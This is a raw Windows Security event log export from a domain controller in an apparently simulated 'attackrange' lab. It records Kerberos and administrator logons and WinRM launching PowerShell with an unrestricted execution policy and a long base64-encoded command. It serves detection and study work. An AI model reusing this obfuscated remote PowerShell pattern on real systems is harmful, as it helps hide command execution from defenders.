TaskCategory=Process Creation
OpCode=Info
RecordNumber=250377
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1168
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x12d0
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250376
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x107F9E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1108
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x10fc
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	PowerShell  -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250375
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x107F9E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10fc
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x13d4
	Creator Process Name:	C:\Windows\System32\winrshost.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250374
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x10829E

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250373
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x10829E
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAA67AFB-3021-4172-D612-68D93CA3CCF8}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250372
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{DAA67AFB-3021-4172-D612-68D93CA3CCF8}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=250371
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{DAA67AFB-3021-4172-D612-68D93CA3CCF8}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=250370
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250369
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x107F9E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x13e4
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x13d4
	Creator Process Name:	C:\Windows\System32\winrshost.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250368
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x107F9E

Process Information:
	New Process ID:		0x13d4
	New Process Name:	C:\Windows\System32\winrshost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x1e0
	Creator Process Name:	C:\Windows\System32\svchost.exe
	Process Command Line:	C:\Windows\system32\WinrsHost.exe -Embedding

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250367
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x107F9E

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250366
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x107F9E
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAA67AFB-3021-4172-D612-68D93CA3CCF8}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250365
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{DAA67AFB-3021-4172-D612-68D93CA3CCF8}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=250364
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{DAA67AFB-3021-4172-D612-68D93CA3CCF8}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=250363
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250362
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x107F41

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250361
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0xF0185

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
